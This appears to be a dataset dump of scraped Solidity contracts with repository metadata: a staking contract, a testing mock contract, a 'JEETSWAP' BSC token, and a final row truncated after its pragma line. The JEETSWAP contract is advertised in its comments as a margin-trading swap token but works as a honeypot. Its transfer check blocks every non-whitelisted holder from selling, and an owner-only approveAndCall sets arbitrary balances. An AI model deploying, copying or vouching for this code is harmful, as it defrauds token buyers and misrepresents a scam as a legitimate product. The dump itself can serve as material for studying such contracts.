hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a0d3bd33e3b9cc7b60a1e1818e5f4069fe3e60109be144c9363d46dec0f17128
| 27,365 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0c/0C5283B80B0AFa5b83dF281aD11930A1C8531F91_IndexStaking.sol
| 4,197 | 16,920 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISindex {
function rebase(uint256 INDEXProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract IndexStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Index;
address public immutable sIndex;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Index,
address _sIndex,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Index != address(0));
Index = _Index;
require(_sIndex != address(0));
sIndex = _sIndex;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Index).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISindex(sIndex).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sIndex).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISindex(sIndex).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISindex(sIndex).balanceForGons(info.gons));
IERC20(Index).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sIndex).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Index).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISindex(sIndex).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISindex(sIndex).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISindex(sIndex).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Index).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sIndex).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sIndex).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 95,714 | 13,500 |
6a0db8c289403aa00e589fd648439036c6a084f591225a4aadc4a74f1b0537d6
| 14,280 |
.sol
|
Solidity
| false |
190591992
|
fluidity/fluidity-truffle-box
|
c2553e5ebdd4721de6dbce10f713e84e7f6e2115
|
contracts/MockContract.sol
| 3,024 | 12,308 |
pragma solidity ^0.5.0;
interface MockInterface {
function givenAnyReturn(bytes calldata response) external;
function givenAnyReturnBool(bool response) external;
function givenAnyReturnUint(uint response) external;
function givenAnyReturnAddress(address response) external;
function givenAnyRevert() external;
function givenAnyRevertWithMessage(string calldata message) external;
function givenAnyRunOutOfGas() external;
function givenMethodReturn(bytes calldata method, bytes calldata response) external;
function givenMethodReturnBool(bytes calldata method, bool response) external;
function givenMethodReturnUint(bytes calldata method, uint response) external;
function givenMethodReturnAddress(bytes calldata method, address response) external;
function givenMethodRevert(bytes calldata method) external;
function givenMethodRevertWithMessage(bytes calldata method, string calldata message) external;
function givenMethodRunOutOfGas(bytes calldata method) external;
function givenCalldataReturn(bytes calldata call, bytes calldata response) external;
function givenCalldataReturnBool(bytes calldata call, bool response) external;
function givenCalldataReturnUint(bytes calldata call, uint response) external;
function givenCalldataReturnAddress(bytes calldata call, address response) external;
function givenCalldataRevert(bytes calldata call) external;
function givenCalldataRevertWithMessage(bytes calldata call, string calldata message) external;
function givenCalldataRunOutOfGas(bytes calldata call) external;
function invocationCount() external returns (uint);
function invocationCountForMethod(bytes calldata method) external returns (uint);
function invocationCountForCalldata(bytes calldata call) external returns (uint);
function reset() external;
}
contract MockContract is MockInterface {
enum MockType { Return, Revert, OutOfGas }
bytes32 public constant MOCKS_LIST_START = hex"01";
bytes public constant MOCKS_LIST_END = "0xff";
bytes32 public constant MOCKS_LIST_END_HASH = keccak256(MOCKS_LIST_END);
bytes4 public constant SENTINEL_ANY_MOCKS = hex"01";
// A linked list allows easy iteration and inclusion checks
mapping(bytes32 => bytes) calldataMocks;
mapping(bytes => MockType) calldataMockTypes;
mapping(bytes => bytes) calldataExpectations;
mapping(bytes => string) calldataRevertMessage;
mapping(bytes32 => uint) calldataInvocations;
mapping(bytes4 => bytes4) methodIdMocks;
mapping(bytes4 => MockType) methodIdMockTypes;
mapping(bytes4 => bytes) methodIdExpectations;
mapping(bytes4 => string) methodIdRevertMessages;
mapping(bytes32 => uint) methodIdInvocations;
MockType fallbackMockType;
bytes fallbackExpectation;
string fallbackRevertMessage;
uint invocations;
uint resetCount;
constructor() public {
calldataMocks[MOCKS_LIST_START] = MOCKS_LIST_END;
methodIdMocks[SENTINEL_ANY_MOCKS] = SENTINEL_ANY_MOCKS;
}
function trackCalldataMock(bytes memory call) private {
bytes32 callHash = keccak256(call);
if (calldataMocks[callHash].length == 0) {
calldataMocks[callHash] = calldataMocks[MOCKS_LIST_START];
calldataMocks[MOCKS_LIST_START] = call;
}
}
function trackMethodIdMock(bytes4 methodId) private {
if (methodIdMocks[methodId] == 0x0) {
methodIdMocks[methodId] = methodIdMocks[SENTINEL_ANY_MOCKS];
methodIdMocks[SENTINEL_ANY_MOCKS] = methodId;
}
}
function _givenAnyReturn(bytes memory response) internal {
fallbackMockType = MockType.Return;
fallbackExpectation = response;
}
function givenAnyReturn(bytes calldata response) external {
_givenAnyReturn(response);
}
function givenAnyReturnBool(bool response) external {
uint flag = response ? 1 : 0;
_givenAnyReturn(uintToBytes(flag));
}
function givenAnyReturnUint(uint response) external {
_givenAnyReturn(uintToBytes(response));
}
function givenAnyReturnAddress(address response) external {
_givenAnyReturn(uintToBytes(uint(response)));
}
function givenAnyRevert() external {
fallbackMockType = MockType.Revert;
fallbackRevertMessage = "";
}
function givenAnyRevertWithMessage(string calldata message) external {
fallbackMockType = MockType.Revert;
fallbackRevertMessage = message;
}
function givenAnyRunOutOfGas() external {
fallbackMockType = MockType.OutOfGas;
}
function _givenCalldataReturn(bytes memory call, bytes memory response) private {
calldataMockTypes[call] = MockType.Return;
calldataExpectations[call] = response;
trackCalldataMock(call);
}
function givenCalldataReturn(bytes calldata call, bytes calldata response) external {
_givenCalldataReturn(call, response);
}
function givenCalldataReturnBool(bytes calldata call, bool response) external {
uint flag = response ? 1 : 0;
_givenCalldataReturn(call, uintToBytes(flag));
}
function givenCalldataReturnUint(bytes calldata call, uint response) external {
_givenCalldataReturn(call, uintToBytes(response));
}
function givenCalldataReturnAddress(bytes calldata call, address response) external {
_givenCalldataReturn(call, uintToBytes(uint(response)));
}
function _givenMethodReturn(bytes memory call, bytes memory response) private {
bytes4 method = bytesToBytes4(call);
methodIdMockTypes[method] = MockType.Return;
methodIdExpectations[method] = response;
trackMethodIdMock(method);
}
function givenMethodReturn(bytes calldata call, bytes calldata response) external {
_givenMethodReturn(call, response);
}
function givenMethodReturnBool(bytes calldata call, bool response) external {
uint flag = response ? 1 : 0;
_givenMethodReturn(call, uintToBytes(flag));
}
function givenMethodReturnUint(bytes calldata call, uint response) external {
_givenMethodReturn(call, uintToBytes(response));
}
function givenMethodReturnAddress(bytes calldata call, address response) external {
_givenMethodReturn(call, uintToBytes(uint(response)));
}
function givenCalldataRevert(bytes calldata call) external {
calldataMockTypes[call] = MockType.Revert;
calldataRevertMessage[call] = "";
trackCalldataMock(call);
}
function givenMethodRevert(bytes calldata call) external {
bytes4 method = bytesToBytes4(call);
methodIdMockTypes[method] = MockType.Revert;
trackMethodIdMock(method);
}
function givenCalldataRevertWithMessage(bytes calldata call, string calldata message) external {
calldataMockTypes[call] = MockType.Revert;
calldataRevertMessage[call] = message;
trackCalldataMock(call);
}
function givenMethodRevertWithMessage(bytes calldata call, string calldata message) external {
bytes4 method = bytesToBytes4(call);
methodIdMockTypes[method] = MockType.Revert;
methodIdRevertMessages[method] = message;
trackMethodIdMock(method);
}
function givenCalldataRunOutOfGas(bytes calldata call) external {
calldataMockTypes[call] = MockType.OutOfGas;
trackCalldataMock(call);
}
function givenMethodRunOutOfGas(bytes calldata call) external {
bytes4 method = bytesToBytes4(call);
methodIdMockTypes[method] = MockType.OutOfGas;
trackMethodIdMock(method);
}
function invocationCount() external returns (uint) {
return invocations;
}
function invocationCountForMethod(bytes calldata call) external returns (uint) {
bytes4 method = bytesToBytes4(call);
return methodIdInvocations[keccak256(abi.encodePacked(resetCount, method))];
}
function invocationCountForCalldata(bytes calldata call) external returns (uint) {
return calldataInvocations[keccak256(abi.encodePacked(resetCount, call))];
}
function reset() external {
// Reset all exact calldataMocks
bytes memory nextMock = calldataMocks[MOCKS_LIST_START];
bytes32 mockHash = keccak256(nextMock);
// We cannot compary bytes
while(mockHash != MOCKS_LIST_END_HASH) {
// Reset all mock maps
calldataMockTypes[nextMock] = MockType.Return;
calldataExpectations[nextMock] = hex"";
calldataRevertMessage[nextMock] = "";
// Set next mock to remove
nextMock = calldataMocks[mockHash];
// Remove from linked list
calldataMocks[mockHash] = "";
// Update mock hash
mockHash = keccak256(nextMock);
}
// Clear list
calldataMocks[MOCKS_LIST_START] = MOCKS_LIST_END;
// Reset all any calldataMocks
bytes4 nextAnyMock = methodIdMocks[SENTINEL_ANY_MOCKS];
while(nextAnyMock != SENTINEL_ANY_MOCKS) {
bytes4 currentAnyMock = nextAnyMock;
methodIdMockTypes[currentAnyMock] = MockType.Return;
methodIdExpectations[currentAnyMock] = hex"";
methodIdRevertMessages[currentAnyMock] = "";
nextAnyMock = methodIdMocks[currentAnyMock];
// Remove from linked list
methodIdMocks[currentAnyMock] = 0x0;
}
// Clear list
methodIdMocks[SENTINEL_ANY_MOCKS] = SENTINEL_ANY_MOCKS;
fallbackExpectation = "";
fallbackMockType = MockType.Return;
invocations = 0;
resetCount += 1;
}
function useAllGas() private {
while(true) {
bool s;
assembly {
//expensive call to EC multiply contract
s := call(sub(gas, 2000), 6, 0, 0x0, 0xc0, 0x0, 0x60)
}
}
}
function bytesToBytes4(bytes memory b) private pure returns (bytes4) {
bytes4 out;
for (uint i = 0; i < 4; i++) {
out |= bytes4(b[i] & 0xFF) >> (i * 8);
}
return out;
}
function uintToBytes(uint256 x) private pure returns (bytes memory b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
function updateInvocationCount(bytes4 methodId, bytes memory originalMsgData) public {
require(msg.sender == address(this), "Can only be called from the contract itself");
invocations += 1;
methodIdInvocations[keccak256(abi.encodePacked(resetCount, methodId))] += 1;
calldataInvocations[keccak256(abi.encodePacked(resetCount, originalMsgData))] += 1;
}
function() payable external {
bytes4 methodId;
assembly {
methodId := calldataload(0)
}
// First, check exact matching overrides
if (calldataMockTypes[msg.data] == MockType.Revert) {
revert(calldataRevertMessage[msg.data]);
}
if (calldataMockTypes[msg.data] == MockType.OutOfGas) {
useAllGas();
}
bytes memory result = calldataExpectations[msg.data];
// Then check method Id overrides
if (result.length == 0) {
if (methodIdMockTypes[methodId] == MockType.Revert) {
revert(methodIdRevertMessages[methodId]);
}
if (methodIdMockTypes[methodId] == MockType.OutOfGas) {
useAllGas();
}
result = methodIdExpectations[methodId];
}
// Last, use the fallback override
if (result.length == 0) {
if (fallbackMockType == MockType.Revert) {
revert(fallbackRevertMessage);
}
if (fallbackMockType == MockType.OutOfGas) {
useAllGas();
}
result = fallbackExpectation;
}
// Record invocation as separate call so we don't rollback in case we are called with STATICCALL
(, bytes memory r) = address(this).call.gas(100000)(abi.encodeWithSignature("updateInvocationCount(bytes4,bytes)", methodId, msg.data));
assert(r.length == 0);
assembly {
return(add(0x20, result), mload(result))
}
}
}
| 149,528 | 13,501 |
8a4378a3630d86ae9787e665f7f25e8f1ceffffd500a41063d8e1fa4f9f1c8bf
| 10,956 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x86fD6b187Cf88f3081E2f217F2F34E1Cf61d4E88/contract.sol
| 2,685 | 10,542 |
//Welcome to Pajeetswap
//Pajeetswap is an alternative to Pancakeswap in Binance Smart Chain that support margin trading
//Symbol: JEETSWAP
//Total Supply: 754,323
//Circulating Supply: 754,323/754,323
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract JEETSWAP {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 256,153 | 13,502 |
53af4b4c5b87a68539d665edd5f5a68e7bdf3d887eb4fe56c58843c26b19fb33
| 20,609 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/66/66a3132973652Eb6bE8de01A3342a9AE9c70612a_ERC20.sol
| 4,842 | 16,968 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
